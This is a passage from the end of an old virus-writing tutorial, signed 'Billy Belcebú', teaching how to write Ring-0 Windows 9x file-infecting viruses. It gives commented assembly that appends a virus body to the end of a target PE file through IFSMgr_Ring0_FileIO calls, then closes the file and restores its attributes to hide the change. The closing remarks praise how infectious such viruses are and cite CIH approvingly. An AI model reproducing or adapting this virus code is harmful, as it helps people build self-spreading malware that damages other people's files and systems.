We have just wrote the header. Now, we have only to append the virus. I decided to append it at EOF direcly, because my way of modificating PE... Well, i did it in this way. But don't worry, is easy to adapt to your infection methods, as i assume you understood how it works. Just before append the virus body, remember that we should fix all VxDCallz, as they are transformed in callbacks in memory. Remember the VxDFix procedure i taught you in this same document. By the way, as we append in EOF, we should know how many bytes it ocuppies. Preety easy, we have a function in IFSMgr_Ring0_FileIO (how not!) that does the job: R0_GETFILESIZE. Let's see its input parameterz:

 EAX = R0_GETFILESIZE = D800h
 EBX = File Handle

And returs us in EAX the size of the file owner of the handler, that is the file we are trying to infect.

        call    VxDFix                          ; Re-make all INT 20h's

        mov     eax,R0_GETFILESIZE              ; D800h
        VxDCall IFSMgr_Ring0_FileIO     
                                                ; EAX = File size
        mov     edx,R0_WRITEFILE                ; EDX = D601h
        xchg    eax,edx                         ; EAX = D601; EDX = File size
        lea     esi,[ebp+virus_start]           ; What to write
        mov     ecx,virus_size                  ; How much bytez to write
        VxDCall IFSMgr_Ring0_FileIO

Well, only some things left to do. Just close the file and restore its old attributes. Well, of course the close file function is in our beloved IFSMgr_Ring0_FileIO, now function D700h. Let's see its input parameters:

 EAX = R0_CLOSEFILE = 0D700h
 EBX = File Handle

And now its code:

 muthafucka:
        mov     eax,R0_CLOSEFILE
        VxDCall IFSMgr_Ring0_FileIO

Well, only one thing left to do (kewl!). Restore the old attributes.

 stillnotsofunny:
        pop     ecx                             ; Restore old attributos
        pop     esi                             ; Restore ptr to FileName
        mov     eax,4301h                       ; Set attributes function
        VxDCall IFSMgr_Ring0_FileIO

 notsofunny:
        ret

And that's all! :) By the way, all those "VxDCall IFSMgr_Ring0_FileIO" is better to have in a subroutine, and call it with a simple call: it's more optimized (if you use the VxDCall macro i showed to you), and it much better because with only place an offset in VxDFix's table the job is done.

% Last words % --------------

I must thank the 3 most important people that helped me while coding my first Ring-0 stuff: Super, Vecna and nIgr0 (you are the g0dz!). Well, is there something else to say? Ehrrm... yeah. Ring-0 is our sweet dream under Win9X, yes. But is has a limited life. Doesn't matter if we, the VXers, find a way for get Ring-0 privilege in systems such as NT, or the future Win2000 (NT5). Micro$oft will make a patch or a Service Pack for fix all those possible bugs. Anyway, it's very interesting to code a Ring-0 virus. For me the experience has been funny, and helped me to know more about Windoze internal structure. I hope it will help to you too. Note that Ring-0 viruses such as the virus very commented i presented here (my Garaipena with little changes) are very infectious. System tries to open files almost for bullshits. Well, just see that one of the most infectious, fast and spread virus nowadays is a Ring-0 virus, CIH.

Billy Belceb£, mass killer and ass kicker.